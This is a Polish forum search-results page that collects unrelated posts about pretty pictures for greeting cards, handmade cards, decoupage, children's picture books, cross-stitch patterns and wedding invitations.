Wyniki wyszukiwania dla słów: ładne obrazki do kartek

hlip ;-(

niestety kartka była pomyślana dla użytkowników programów mailowych typu mozilla
czy outlook
nie przewidziałam że przeglądarki internetowe nie obsługują maili
zaprojektowanych w HTML :-(
od dziś będę wysyłać kartki tylko w załączniku jako obrazki...
nauczka na przyszłość
a chciałam żeby było ładnie ;-(

pozdrawiam
owca

_,,,٢ة إ ة٦,,,_


fajne kartki internetowe
Własnie chcę znaleźc w internecie fajną kartkę na urodziny - najlepiej we
flashu, w miarę dowcipną i przede wszystkim ładną. Szukam i... nic.
onet - tu niby jest najwięcej, ale cholery można dostać z tymi karykaturami
myszy i kotów, kartki na ogół brzydkie, infantylne, dobre chyba dla 13 latków.
inne polskie portale (wp, interia) -najczęsciej jakieś obrazki na odwal się,
po prostu kopie normalnych pocztówek, o jakiejś odrobinie fantazji nie ma
mowy.
www.hallmark.com - bardzo polecam, niektóre są genialne, ale... akurat
wczoraj czasowo zamknęli stronę :(
kartki elfa (na www.elf.com.pl) - super, ale nie wiedzieć czemu są tylko
świąteczne, wakacyjne i na dzień matki. urodzin ani widu ani słychu

może ktoś da fajnego linka? będę wdzięczny....

Mnie się te kluby nie podobają. Wolę pójśc do księgarni i popatrzeć co dziecko
sobie wybierze lub na co zwróci uwagę. Kluby sprzedają książki przyzwoicie
wydane i,gdy są pojedynczo, nawet nie mam zastrzeżeń. Jednak obecność w klubie
zobowiązuje do regularnego kupowania ksiązeczek, a wtedy okazuje się, że
publikacje mają ten sam klimat, podobne rysunki a i treść pozostawia wiele do
życzenia...

Klub Kubusia Puchatka nie jest bardzo zły, książeczki są ładne i poruszają
różne problemy: noc, dzień, pory roku, święta (typu imieniny)-takie mi się
kojarzą.

Moim zdaniem, to średni pomysł. Lepiej kupić mniej książeczek, ale za to
ciekawych niż mieć regał pełen pośledniej jakości publikacji... Mój trzylatek
mnie ostatnio zaskoczył, bo wybrał w księgarni ksiażeczkę, która z pozoru
wydawała mi się zbyt dziecinna dla niego: o pociągu, który nie słucha się
maszynisty i pędzi po torach i gubi to, co przewozi, a potem musi wracać.
Książeczka ze sztywnymi kartkami, dużymi ilustracjami i literami, nie wzbudziła
mojego zaufania, ale okazało się, że maluch lubi tę książkę. Patrzy na literki
i na obrazki, i jest nią zainteresowany.

Inaczej jest, gdy kupuję książki kierowana własną potrzebą. Tak było z kolekcją
bajek GW. Ulubiona jest pierwsza książeczka, Czerwony Kapturek, a reszty nawet
nie znamy Tak więc, mamy epizod z regularną publikacją i nie do końca się ta
forma sprawdza...Po prostu dlatego, ze książki powinno się kupować w księgarni,
zgodnie ze swoim temperamentem i potrzebą chwili... i to cała tajemnica...
Pozdrawiam
MK

w końcu znalazłam forum o hafcie krzyżykowym mam nadzieje, że "zapelni" sie
szybciutko to miejsce Ja haftuje od jakichs 2 lat. Sa to male obrazki,
kartki okolicznosciowe. Przymierzam sie do jakiegos duzego obrazu, ale na razie
szukam ladnego wzoru. I trudnego, zeby mi sie za szybko nie znudzil


18-tka mojego brata HELP !!!!!
cześć
za m-c mój brat ma 18-tke i chciałam mu wyhaftować obrazek z samochodem z
minionej epoki-taki stary model...albo jakis wzór na kartke z gratulacjami i
życzeniami urodzinowymi...albo coś z motorem lub statkami-tylko nie za duże
ale ładne

obiecuje się odwdzięczyć

z góry dziękuje za pomoc i pozdrawiam
Agnieszka z Bełchatowa

szukam wzorów na ślub
Pomóżcie szukam wzorów na obrazek ślubny to bardzo pilne. Mój brat się żeni za
3 miesiące chciałabym mu wyszyć na pamiątkę tego wspaniałego dnia ładny
obrazek ale niestety mam w swoich zbiorach tylko wzory na kartki ślubne
proszę o przesłanie wzorów na adres ajezierska@amorki.pl w przyszłości na
pewno się odwdzięczę z góry dziękuję

Gość portalu: Por. Bor napisał(a):

> A czy musi byc takie wielkie logo bijaca po oczach??
Przecież nie zrobimy loga na pół kartki, ale nie możeby całkowicie go pominąć,
bo wtedy firma nie będzie miała motywacji, zeby dać nam kasę. Niestety tą
stroną bardziej atrakcyjną wizualnie jest obrazek, i na tej stronie musi się
znaleźć jakieś malutkie logo- najlepiej jakoś ładnie wkomponowane w tło :)

> IXIKU: czy mam rozmawiac ze swoim zaprzyjaznionym drukarzem, skladaczem i
> wyswietlaczem czy masz juz kogos takiego i mam sobie nie zawracac glowy??
Odpowiedź już znasz :)

> [..]once more plizzz NIE SPAMUJ na GG ;)))
Przepraszam, ale często o jedyna możliwość powiadomienia wszystkich (lub tych,
których to może zainteresować) Nie robię tego aż tak często ;))))))))))

> Gotowy do boju
Do booooju, do booooju, do boooju KFŁ :)

Nie do konca w Corelu (chociaz tez by sie dalo, ale graficy wspolpracujacy z
drukarniami raczej pracuja na innych programach pozwalajacych w prostszy sposob
przygotowac material do wyswietlenia na klisze). To po pierwsze. Po drugie jest
w tym zeskanowanie w odpowiedniej jakosci dostarczonych zdjec lub negatywów.
Zlozenie tego, w oparciu o nasze wstepne "graficzne" (własnie w Corelu ;) )
projekty, tak by dalo sie wyswietlic na kliszach z podzialem na cztery barwy
podstawowe CMYK. Bo chyba wiesz, ze wydrukowanie kolorowego zdjecia to cztery
przebiegi maszyny i nadrukowanie na siebie czterech barw podstawowych. Czyli
nie jest to tak zupelnie prosto "wstaw obrazek, klik" i już. Jesli myslisz, ze
to wszystko do kupy jest takie hop siup, sprobuj sama ;P Na monitorze bedzie
ladnie wygladalo, ale juz po naswietleniu klisz i wydrukowaniu pierwszej
pocztowki moze sie okazac, ze kolory w CMYK'u nie trafily dokladnie na siebie
i zdjecie wyglada jak podczas wybuchy bomby atomowej albo kolory sa
nienaturalne.(Jasam gdzies pisal o fioletowym sniegu, to o to wlasnie
chodzi) :-)
Takze, podsumowujac nie jest to "zapłata (tylko) za to, ze ktos przygotuje
kartki w Corelu" ale jest to zaplata za to, ze ktos to przygotuje tak, zeby
nadawalo sie do wykorzystania przez drukarnie i zeby wyszly z tego ladne
pocztowki a nie kolorowe świstki papieru.

Pozdrawiam niezmiennie

Por. Borewicz. 8-)
www.naszefoto.cjb.net

U nas chodził Brzechwa i Tuwim ("Lokomotywa"!!!), zarówno w tradycyjnej formie
książki z miękkimi kartkami i starymi ilustracjami, jak i na kartonie. Mieliśmy
też "Małpę w kąpieli" Fredry z kartonowymi kartkami (piękne ilustracje - D. i M.
Szal), "Chorego kotka" i "Kukuryku" Jachowicza, "Pawła i Gawła" i "Osiołka"
Fredry, "Poranek" Konopnickiej (wszystko na kartonie), a poza tym tom poezji
Kerna. W tym wieku sprawdzały się też "pokazywanki" z obrazkiem i podpisem na
każdej stronie (ulubione były o zabawkach, samochodach, lesie i zwierzątkach za
ich odgłosami) i pierwsze łatwe "Kamyczki" ("Odkrycia", "Powiedz, co to?"). To
nie wiersze, ale...

Brzechwę mamy w tomie pt. Brzechwa: "Wielka księga wierszy" (niebieska okładka,
wyd. Podsiedlik, Raniowski i s-ka). Ilustracje dość ładne, wierszyków dużo,
kolorowe kartki. Uwielbiana przez Wojtka w wieku 1-1,5 roku. Polecam też stary
"Elementarz" Falskiego (reprint), co prawda nie tylko wiersze, ale ukochana
książka Wojtka i znajomej 1,5-rocznej Zosi. Teksty czadowe (zwłaszcza o
robotnikach i fabryce), jakbyśmy się cofali w czasie...

W sumie niczego nigdy nie zbierałam z pasji kolekcjonerskiej. Natomiast
mimowolne zbieractwo mam we krwi. Na przykład posiadam sporą (jak na
mimowolną:-)) kolekcję pudełek kartonowych po różnych rzeczach. Dlatego, że
wysyłam dość często paczki do domu, większe albo mniejsze i pudełka mi się
przydają (mam ich więcej, niż wysyłam paczek w ciągu pół roku). Zbieram również
papier. Tzn. kartki do pisania, drukowania, malowania, kartki z ładnym
obrazkiem, z ciekawym tekstem, fajną fakturą, papier listowy, pocztówki
reklamowe, zeszyty i bloki, papier do prezentów. Zatrzymuje również kartki
jednostronnie czyste (zostają często z drukowania dla teścia, czasem drukujemy
po tysiąc stron w tydzień, wiadomo, że zdarzają się pomyłki i chwilowe awarie
drukarki)- często potem wykorzystuję je do drukowania i xerowania ćwiczeń dla
dzieciarni. W każdym razie to mój bzik:-) Luby przynosi mi każdą ilość papieru i
pudełka. Ze szkoleń specjalnie dla mnie przywozi notesy firmowe:-) Lubię też
długopisy, ołówki, kredki i mazaczki, pędzelki i farby. Ostatnio zbieram tez
różne szklane naczynia z zamiarem pomalowania ich:-)

Acha, no i kubki. Nie mam kolekcji, bo jakoś udaje mi się powstzrymać się od
kupowania ich, ale oczy mi się świecą na widok fajnego kubka, mimo, że w domu
mam ich dziesięć i większość stoi w szafce i się kurzy.

Stuknięta Mrouh:-)

rany... całkiem jak mój Jacuś...
to aż niewiarygodne, bo myślałam, że tylko on jest taki "dziwny". Jacek
skończył 2 lata w grudniu, w zasadzie nie mówi, wszystko pokazuje palcem i
ciągnie za rękę. Rozumie jak mówię "daj piłkę" ale na obrazku piłki nie
pokaże... wogóle nie che ogladać za bardzo ksiażeczek, czasem takie z
otwieranymi okienkami, albo sam odwraca kartki i udaje że czyta - gadając coś
po swojemu.
on potrafi wymówić nawet bardzo skomplikowane sylaby ale nie umie nazywać
rzeczy czy osób... nie wiem czy jasno sie wyraziłam. Wie, kto to jest tata (idż
do taty i daj mu np gazetę - zrozumie i zrobi) ale nie powie o nim lub do niego
tata, mimo, że potrafi to wymówić.
Poza tym jest sprawny ruchowo, energiczny, ma poczucie humoru, ładnie ukłąda
puzzle i klocki, próbuje rysować, bawi się ciestoliną i samochodami i lubi
przytulanie ;-)
Byliśmy u logopedy (żadnych konkretów, mamy czekać) u psychologa (poleciła
neurologopedę odwiedzić).
Czekamy na wizytę u neurologopedy.
Bardzo CIę proszę, napisz jak już coś będziesz wiedzieć, bo wydaje mi się, ze
nasze dzieci mogą mieć podobny problem.

jako dziecko lubilam czytac "przygody sindbada zeglarza" boleslawa lesmiana.
mialam bardzo ladne wydanie, oprawione w niebieskie plotno, z basniowymi
obrazkami. takie w starym stylu, i z lekko pozlolklymi kartkami. czyli dla mnie
idealny klimat :)
no i w tej oto ksiazce wystepowala w jednym rozdziale postac, ktora zwala sie
sermina. plomienna sermina :) niezbyt podobna do mnie, ale w jakis sposob
fascynujaca :) ot i cala historia mojego nicka :)

SZPROTOKÓŁ NA TARYFIE PRACOWNICZEJ
Ania: -Tu będzie dużo ustawień, więc proszę o przygotowanie jakiejś WIĘKSZEJ kartki.

Kasia:
[do pani z nokią]: -Nie, loga operatora całkowicie nie da się usunąć, można je
tylko zastąpić innym obrazkiem. To może niech pani wybierze jakąś inną tapetę,
żeby logo nie zasłaniało zwierzątku oczek?

[po dłuższej chwwli słuchania klienta]: -Wszystko to bardzo ładne, ale podam
panu numer do odpowiedniego biura obsługi, tam są konsultanci, którym pan opowie
tę historię jeszcze raz i oni panu pomogą.

[do pana z siemensem]: -Prześlę panu MMSa testowego, to całkiem ładny obrazek,
może pan go sobie ustawić jako logo.

Czy czytacie 1,5 rocznym dzieciom bajki
Zastanawiam sie czy czytacie waszym dzieciom bajki i czy one potrafia sie na
tym dluzej skoncentrowac.Moja 1,5 roczna Emilka wogole nie potrafi chwili
usiedziec przy tym jak jej czytam,a jezeli juz ja cos zainetresuje to tylko
przewracanie wszystkich kartek i szukanie obrazkow.Dodam ze czesto oglada
sztywnostronnicowe kolorowe ksiazeczki,i ladnie pokazuje co jest na
obrazku.Napiszczie rowniez jakie bajeczki lubia wasze dzieci.Pozdrawiam.

kupic poduszki biale tanie w ikei czy gdizes i recznei je pomalowac. Farba do
tkanin jest tania. ozdoby na stol wigiliny i do zabrania do domu przez dzieci-
w ramik te najtansze z ikei proste male z ciastoliny zrobic obrazek - np
statek czy samochod czy wisienki i pomalowac przykleic do bialego papieru i za
szklo w ramke, bardoz ladnie wyglada. uszyc zabawke - mapetta co sie wsadza na
reke. Ja ostatnio wzielam zdjecia nasze - te nie najlepsze ale za to w ruchu
czy w roznych miejscach i przykleilam do kartki narysowalam rozne rzeczy i
dalalm do zafoilowania ze sprzeynka -powstal album - 20 zl
zrobic ksiazeczke recznie samemu ze zdjeciami rysunkami, wycinkami opowiadan z
miejescem na notatki - prywatny przent.
Do ozdoby stolu i domu - my zawsze kupujemy puansetje na targu kwiatowym w
warszawie o niebo taniej i piekne i mozna kupic od groma jablek na Broniszach
na gieldzie owocowej potem je poukaldac.
Prezent intersujacy mozna kupic tanio na tagu antykow na kole w Wawie.

prezenty z fundacji
Ambitnie wymyśliłam sobie że w tym roku na Święta Bożego Narodzenia zrobią
inaczej, by nie było typowej komercji , i kupię dla wszystkich prezenty,
które będą "pochodziły" z różnych fundacji, tak by wspomóc ich finansowo.
Myślałam o kartkach,obrazkach, świeczkach, ładnych puzderkach, koszulkach
może poduszkach.... Nie mam narazie pomysłu. Ale nie umiem znależć takich
fundacji. Najlepiej w internecie, bo niebardzo mam czas i nie wiem gdzie są
np kiermasze. Proszę o pomoc.
P.S. Jestem z Poznania

Stop grafomanii na kartkach pocztowych !!!
Piszę właśnie kartki świąteczne do rodziny. Wszystkie popakowane w folię były,
więc środka nie było widać, a obrazki ładne były.
No i chcę wpisać życzenia -a tam bęc - cała strona wypełniona koszmarnym
tekstem. Zacytuję.

Powietrze pachnie Świętami,
jesteśmy myślami z Wami,
dzieląc się opłatkiem składamy
najcudowniejsze życzenia
Błogosławieństwa Bożego
i wszystkich marzeń spełnienia.

Albo - przykład jeszcze "lepszy":

Niech się spełnią świąteczne życzenia,
te łatwe i trudne do spełnienia.
Niech się spełnią te duże i te małe,
te mówione głośno lub wcale.
Niech się spełnią te wszystkie
krok po kroku,
tego życzymy w Nowym Roku

Koszmar rodem z masowych sms-ów! I z moimi życzeniami musiałem gdzieś tam z
boku się zmieścić. Zapodajcie jakieś co drastyczniejsze przykłady kartkowej
grafomanii - ku przestrodze! A żeby było smieszniej - to grafomanii nie
oszczędzili, ale kleju na kopercie - już tak.

Moi rodzice wybrali kartki, obrazki ładne, ale patrzymy, a na drugiej stronie
na poł miejsca tekst:

"Wesołych Świąt
I Szczęsliwego Nowego Roku"

Słowa moze nie są brzydkie, ale banalne. No i co tu zrobić? Trzeba jakoś
wcisnać swoj tekst, choc miejsca nie za dużo. Ale i tak pewnie wiele osób tylko
się podpisze i nic więcej...I gdzie tu Polacy mają popisać się własną inwencją?

Najlepsze są książeczki z twardymi kartkami, żeby dziecko mogło samo przewracać
strony. Z treści preferuję oryginalne bajki, nie streszczenia, najlepiej
wierszyki. Na razie mam Kwokę Brzechwy i Kotka Tuwima. Kotek jest ulubiony.
Ważne jest też, żeby obrazki były ładne i czytelne, np. kotek łatwy do
odnalezienia. Takie książeczki nie są drogie (ok. 3-4 zl), ale lepiej ich do
samodzielnego czytania nie dawać - mój synuś obgryza rogi.

Najmilsi...zerknijcie i sie wypowiedzcie... :)
Wykonuję ręcznie kartki ozdobne, obrazki, mozaiki i różnego rodzaju drobne
upominki...Chcę sprzedawać je w Tarnowie a nie za pośrednictwem sprzedaży
wysyłkowej dzięki czemu mają one naprawde okazyjną cenę jak na oryginalne,
niepowtarzalne i nie dublowane egzemplarze...Zapraszam do składania mi
zamówień na maila qqlka@o2.pl...Chętnie wykonam coś ładnego za przystępną
cenę...

mandy4:
Zapomniano dodać; nic, a nic nie potrafię narysować [nawet jajka].
Dlatego robię tak:
- wycinam np. jajko, kurczaka, gwiazdkę, choinkę z obrazków gazetowych [jeśli
znajdę takie o ładnych kształtach i odpowiednich do planowanej kartki
rozmiarach].
To wycięte przykładam do wybranej tekturki,obrysowuję, wycinam, naklejam.
Zyczenia w środek kartki: zwykle drukuję na kalce technicznej, wklejam klejem
introligatorskim[ w małej tubce, tani, w sklepie papierniczym]- robię ręczny
dopisek.
Takie kartki nie są dziełem sztuki.
Ich zadaniem jest przenieść dobre myśli jakie, przy tworzeniu, mam o i pod
adresem odbiorcy kartki.
Bo zawsze robiąc kartki myślę o ich odbiorcy = np. kolorystykę kartki dobieram
do wystroju domu.
Papatki.

Cześć Maju! Ja czytam mojemu synkowi od ok. 3-go miesiąca życia książki po
starszym. Najbardziej lub "Pana Hilarego" -tego od okularów, Tuwima. To stara
książeczka, wysłużona, ale z wyrażnymi obrazkami i twardymi kartkami.
Wydawnictwo Kama s.c z serii Biblioteka najmłodszych. Jest hitem od samego
początku. Myślę, że właśnie wyrażne obrazki to najważniejsze w książeczce dla
niemowlaka, który treści jeszcze za dobrze nie rozumie. Niestety większość
książeczek z twardymi kartkami - tych najtańszych, co to można kupić w kiosku -
ma pastelowe, jasne i rozmazane rysunki. Trzeba cierpliwie szukać. Do oglądania
(właściwie są bez tekstu) polecam serię "Obrazki dla malucha" , dostępną m.in w
Empiku - są to obrazki z modeliny, bardzo ładne i wyraźne.
Mój Kacperek je uwielbia, cena ok. 7 zł.
Jeśli znasz jakieś fajne książki, to napisz o nich. Pozdrawiam.

moja nalewka (jagodowa) jeszcze dojrzewa, a ja zbieram do niej ładne butelki,
dziecko ma zrobić odpowiednie etykietki :o)

co roku robimy kartki świąteczne, póki dzieci małe, wycinam im jakieś obrazki z
gazet, i z tego tworzą kompozycję, później obrazki są z kolorowanek, doklejone
wszelkie świecidełka, kawałki materiałów itp. itd.
starsze kombinują według własnego pomysłu :o)

witraże do przyklejania (tzw. farby na szkło)
przedmioty szklane, ozdobione farbami na szkło (świecznik, wazon itp. z
butelki, słoika, szklanki)
ramki do zdjęć (robić czy kupić ze zwykłego kartonu), ozdobione dowolną
techniką (np. pomazać masą papierową i powciskać różne "skarby", koraliki,
muszelka, piórka...)
pudełka tekturowe (albo drewniane, takie surowe), malowane, zdobione techniką
serwetkową ("decoupage") czy jakkolwiek, można włożyć drobiazgi, chociażby
słodycze
szopki, temat niewyczerpany, w wykonaniu nawet tego samego dziecka co roku
wygląda całkiem inaczej
można też szyć (wyszywać), jak ktoś lubi, ja nie znoszę :o(
kupić pudełki bombek choinkowych gładkich, i ozdobić (np. rysować wzory klejem
i przysypać proszkiem brokatowym)
notatnik czy kalendarz, okładka ozdobiona własnym sposobem
albo kalendarz książkowy "spreparowany", czyli ze starannie wpisywanymi
wszystkimi urodzinami, imieninami, rocznicami itp. itd.
świeczki zdobione (decoupage, inne), może być z świecznikiem (szklanym lub z
masy solnej)
kwiatek (z własnej rozsady), w doniczce zdobionej odpowiednio

to wszystko może być robione też przez dzieci, tak od 5 lat...

pozdrawiam
Judyta

Witaj!

> Chętnie bym zrobiła takie witrażowe tylko sie zastanawiam na jakim materiale
> one są zrobione, czy to jest jakaś folia i farby do malowania na szkle???
> Pozdrawiam!

Najlepiej samemu wymyśleć materiał na którym można coś takiego robić. Metoda
prób i błędów też nie jest zła. Myślę, że do kartek szkło jest za ciężkie i za
grube. Oni używają przezroczystej folii. Oczywiście są specjalne farbki do
witrażyków i do szkła. Te do witraży są chyba całkiem drogie i w zestawie jest
coś w rodzaju korektora, który wyznacza te grubsze granice. Z tego co wiem
nawet najprostsze obrazki wyglądają ładnie

Pozdrawiam,
Anna

co prawda co to jest decoupage to wiem dopiero od piatku,ale ambitnie walcze juz
trzeci dzien nie udalo mi sie dorwac ladnych serwetek a lakier,krak,hafgrunt
etc. juz kupilam wiec z rozpedu i braku materialow wykorzystalam to,co
bylo.gdzies na forum przeczytalam ze mozna tez naklejac normalny papier,tylko
nie lakierowany i nie gruby -namoczylam kilka wycietych motywow z zeszlorocznych
kartek swiatecznych,nakleilam i jest calkiem niezle!co prawda troche
skaszanilam,bo wokol obrazka(na material) objechalam klejem,ale to byl moj
pierwszy raz na puszke zrobilam to samo, tylko obrazki z kartonowego kalendarza
adwentowego uzylam -tu juz wyszlo calkiem super!podstawa to po namoczeniu zdjac
spodnia warstwe kartonu,zeby tylko cieniutki nadruk zostal - jest to mniej
wiecej grubosci chusteczki ale nie rwie sie tak i nie zawija

a nie nie spekania to zrobilam na takiej miseczce ktora pierwotnie powinna
zawierac znicz mam takich kilka i chcialam zobaczyc jak klakier dziala ma
fajny ceglasty kolorek,wiec bezposrednio na nia nalozylam klakier, na to(jak
wyschlo) farbe i jest cacy tera tylko musze polakierowac na len naciapalam
kleju, na to wrzucilam obrazek-poniewaz z serwetki nie mialam, to namoczylam
taka ladna choinke z kartki ktora w zeszlym roku dostalam jak sie namoczylo to
zdjelam kartonik spod spodu i zostal taki cieniutki rysuneczek,ze prawie jak
serwetka no,jak go zdjelam,to mokry(bo suchy by sie pomarszczyl)fajtnęlam na
ten klej,z wierzchu tez maznelam dla polepszenia efektu(hyhy), podsuszylam, a
poniewaz wokol rysuneczku byly ciemne slady kleju to wokol nich przejechalam
srebrnym brokatem i jest niezle...powiedzmy oj,ale tu nakrecilam... mam
nadzieje ze zrozumiale w miare ))

ja swoje kartki zaprojektowałam sama, namalowałam obrazek, zeskanowałam,
ubrałam w format kartki, zaniosłam do punktu drukujacego na sztywniejsym ładnym
papierze i mam piękny prosty zestawik do wysyłania i wpisywania treści jaką
chcę..
a klej i brokat to chyba na Ostatki sie przyda..

evonka napisała:

> ja swoje kartki zaprojektowałam sama, namalowałam obrazek, zeskanowałam,
> ubrałam w format kartki, zaniosłam do punktu drukujacego na sztywniejsym ładnym
>
> papierze i mam piękny prosty zestawik do wysyłania i wpisywania treści jaką
> chcę..
> a klej i brokat to chyba na Ostatki sie przyda..

A toś się narobiła... :-)
Wysłałaś jedną taką samą kartkę do wszystkich czy tylko jedną wogóle? A propos
ile kosztuje wydruk takiej kartki?(format a5powiedzmy po zlożeniu)?

lav

Kiwigirl - bo widzisz faceci - IMHO - mają mniejsze zdolności w myśleniu
abstrakcyjnym - na pewno jeśli bierze się pod uwagę kolory. Myślę, więc, że
niestety powinnaś pokazać mu kilka np. kartek w róźnych kolorach i niech wtedy
wybierze. Ja tak robiłam - zrobiłam projekt zaproszenia z kilkoma kolorami
wstążek i miał wybrać. Wydrukowałam obrazki, które mogą być na zaproszeniach i
też bez problemu wybrał. Obydwie rzeczy takie jak chciałam, więc scysji nie
było A potem już sam z siebie zrobił idealny wzór zaproszenia w komputerze,
wstawiając obrazki i tekst, bo z tym mnie z kolei gorzej szło, żeby wszystko
się równiutko i ładnie komponowało.

na pewno bardziej się opłaca samemu zrobic, też miałam taki zamiar
ale nie mam gilotynki, która kosztuje grubo ponad 100zł i czuję ze będę bardzo
krytyczna do swoich zaproszeń, a wolę zachowac spokój wolałabym robić je dla
kogoś niż dla siebie. Mam mały projekcik własnych, bardzo mi sie podobają ale
chyba wykończę sie nerwowo robiąc je własnoręcznie. Wymyśliłam sobie z
naklejaną kalką i niestety z klejem nie mogłam sobie poradzić, więc
postanowiłam iść na łatwiznę i zamówić. Musisz tylko jakoś opatentowac zginanie
zaproszeń, aby ładnie wyglądały no i równiutko przyciąc. Cały mój zestaw
potrzebny do zaproszeń - nożyczki z wzorkami, kartki, wzory obrazków itp.
wykorzystam do wizytówek na stół.

- dowód osobisty, prawko, dowód rejestracyjny, karta BP, karta bankomatowa ,
kawałek kartki z adresem e-mail koleżanki, zdjęcia nAJWAŻNIEJSZYCH CZŁONKÓW
RODZINY, OBRAZEK ŚWIĘTY szt. 1 , zdjęcie Naszego Papieża, bieżace rachunki,
drobne monety polskie (jak się trafią to i banknoty), 1 korona, gwóźdź z opony
(jeździliśmy razem ładne parę kilometrów), wizytówka mechanika i fryzjera,
kartka z terminem do dentysty, łuska z wigilijnego karpia (ale nie działa)

maksimum napisał:

> Czy wczesne czytanie i pisanie sa wystarczajaca oznaka?
> Czy sprawne rozwiazywanie puzzle w wieku 3 lat?
> No i gdzie sie zaczyna geniusz a koncza wysokie zdolnosci poparte
> pracowitoscia?

W czasie gdy chodzilam do szkoły średniej miałąm koleżankę Kasię a ona z kolei
miałą synka Dawida. Zwykły chłopiec lat 3. Kiedyś będąc u Kaśki przeżyłąm szok.
Przyszedł Dawid i pokazywał mi obrazki zwierząt, na każdym obrazku z tyłu
kartki był napisany wierszyk dotyczący tego zwierzątka, który dziecko pięknie
recytowało. Po parunastu tych okazach powiedziałam "ile ty wierszyków nauczyłeś
się na pamięć" na co Kaśka " nie on to czyta". Akurat a ja jestem księżniczką
perską.
Kaśka zaproponowała, zebym Małemu dała coś do czytania. Wyjełam swoją książkę
do j. polskiego Dla klasy 4LO i otworzyłąm na losowej stronie. Podałam Dawidowi
a On zaczoł czytać.
Trzyletnie dziecko czytało tak jak ja. Ponadto bardzo ładnie pisałuzywając
znaków interpunkcyjnych i o dziwo bez rażących błędów ortograficznych.
Umiał liczyć, pokazywał na globusie większe morza i oceany. Znał państwa
sąsiadujące z Polską i stolice tych państw.

Teraz patrzę na swoją dwuletnią córkę i chociaż jest Ona dzieckiem bystrym
napewno nie zdołałabym nauczyć Jej tego co umiał Dawid.
Czy Dawid został geniuszem?
Nie. Choidzi do zwykłej podstawówki, przewyższa swoich rówieśników ale nie ma
możliwości rozwinięcia skrzydeł
Czasami geniusz umiera zabity zwykłą codziennością

Moja Jagienka byla chrzczona gdy miala 5 miesiecy. Dostala bardzo ladne
prezenty, choc wcale nie bardzo drogie. Od chrzesnego dostala Kubusia Puchatka
w twardej oprawie + mala ksiazeczke z opisem zycia sw. Agnieszki + kartke na
chrzest + malego aniolka- witrazyk do okna (wprost za nim szaleje). Moja
siostra, ktora w tym czasie nie miala wlasnych dochodow a byla chrzesna
narysowala dwa sliczne obrazki do pokoju Jagny i zrobila jej na szydelku
ubranie do chrztu (mozna zobaczyc w albumie Jagny) + wlasnorecznie wykonana
kartke.

Gdzie kupię album?
Chcialabym pod choinkę zrobić album dla dziadków - format A-4 ok. 30 kartek
grubych, bo muszą wytrzymać naklejanie obrazkow i zdjęć, biletow itp.
Myslalam, żeby po użyć kart z bloku technicznego, ale nie mam pomysłu jak je
spiąć - jedyny jaki mi przychodzi do głowy to szkolny - dziurki dziurkaczem i
wstążka, ale to wygląda nieładnie
Ma ktoś pomysł gdzie kupić takie cudo, albo gdzie oprawić lużne kary
(bindowanie odpada - nieładne)

Ha! Mamy kartki, piękne, z Eindhoven!!!
A jednak można kupić!
:-)
Spotkaliśmy kartki w dwóch miejscach - w centrum handlowym Woensel, gdzieś na
deptkaku w takim sklepiku z artukułami biurowymi, książkami, innymi (chyba
Bruna). Polecam!!!
Tam były naprawdę ładne kartki z Eindhoven, mają też całą taką serię z
mieniącymi i zmieniającymi się obrazkami, gdyby ktoś chciał...
Kartka kosztowała chyba 0,50 euro bo za 3 zapłaciliśmy półtora euro.

Drugie miejsce to w parku, gdzie jest muzeum historyczne i młyn wodny, tam też
jest jakieś Centrum Edukacji... ble, ble, nie chce mi się teraz sprawdzać z
mapą. I tam też są kartki, raczej z tym młynem, niespecjalne, ale są. Może komuś
się spodobają jednak :-)

Pozdrawiam serdecznie

Mysza

Ps. A centrum handlowe Woensel baaaaardzo mi się podoba, wszystko w jednym
miejscu i pod nosem. Ech, zazdroszczę tym, co tam mieszkają. Choć ja daleko też
nie mam, 10-12 min rowerem. Kiedyś wybiorę się tam na targ. Raz zdążyłam tylko
obejrzeć rusztowania straganów, juz po... a byłam chyba koło 12.30 czy po
pierwszej. Taki krótki ten targ?!

Gdzie jest smok? - proszę o opinie.
forum.gazeta.pl/forum/0,62489,1540823.html?f=16375
Znalazłam na półce w księgarni, wydanie ładne, twarde kartki, tłoczone
obrazki, jednym słowem szata graficzna zachęca do kupna.

Pytanie moje brzmi o treść, czy warto? Ktoś ma i jest zadowolony. Czy tylko
opakowanie ładne a przekaz nijaki? Dodam, że książka przeznaczona jest dla
trzylatka. M.

dominikjandomin napisał:

> Duzo zalezy od pań nauczycielek. Miałem raz taką, która uznawała tylko drogie
> róże z kwiaciarni. Najpiękniejsze kwiaty z ogrodu miała za smiecie.
>
> Na taką szkoda nawet suchego patyka.

Noz sie w kieszeni otwiera na niektore (
ja kiedys naprawde nei mialem jak wytlumaczyc synowi, gdy w podstawowce narobil sie jak - w kazdym razie narobil - powycinal ladnie obrazki zwierzakow sciagniete z internetu, powklejal na plansze bristolowa, poopisywal pod spodem - i dostal trzy, a piatki dostaly dzieciaki, ktore po prostu powklejaly cale kartki a4 z drukarki, i to te same obrazki co u niego, kompletne strony z zawartoscia lacznie z opisem.

Książeczki z Lidla
Byłam w Lidlu książeczki nie są żadnym cudem ale za 2,99 nie można sie tego
spodziewać. Są malutkie jakieś 10/10 cm. Jedynym plusem jest to że mają sztywne
kartki i dziecko ich nie pogniecie (mój mały lubi przewracać kartki jak mu
czytam). Kupiłam kilka też mojemu synkowi. Jednak tekst jest do d...y odnoszę
wrażenie że po prostu wyjęto jakieś kilka zdań przypadkowo z bajki, zamiast ja
sensownie skrócić, widać też ogromne problemy z interpunkcją. Obrazki ładne
kolorowe.

Mnie tez by bardzo zdziwilo takie zaproszenie. A na wielu slubach bylam.

Co do RSVP, to na "normalne" zaproszenie pisze sie kartke, w sklepach mozna
nawet dostac takie gotowe z odpowiedzia na zaproszenie slubne, ale ja wysylam
jakas typu "blank" z ladnym obrazkiem na przodzie typu kwiatki, i po prostu
pisze: dzieki za zaproszenie, przyjdziemy bla bla.

Natomiast na takie zaproszenie, jakie dostalas, to w ogole wolna amerykanka
jesli chodzi o odpowiedzi, bo osoba zlamala konwenanse zapraszajac grupowo i
bez partnera. Jak bym cos takiego dostala, to w zaleznosci od mojego zwiazania
uczuciowego z dana osoba, albo "wymyslilabym" other engagement albo po prostu
potwierdzila, ze ide ustnie. Ale tak jak mowie, bylabym zaszokowana lekko.

Sa, sa - ale bardziej wiosenn.
Ja sobie teraz zamowilam u siostry kilkadziesiat kartek za 40-50 groszy,
calkiem ladne, ze zloceniami, wycinane, nawet z obrazkiem po drugiej stronie
tez (tam gdzie adres i miejsce na zyczenia), niektore w ksztalcie jajek. Bede
miala na drugi raz ;)
Na Boze Narodzenie tez zrobilam zapas ;)
Gdyby byly tu ladne i tanie - to bym tu pewnie kupila ;) Ale jeszcze ladnej
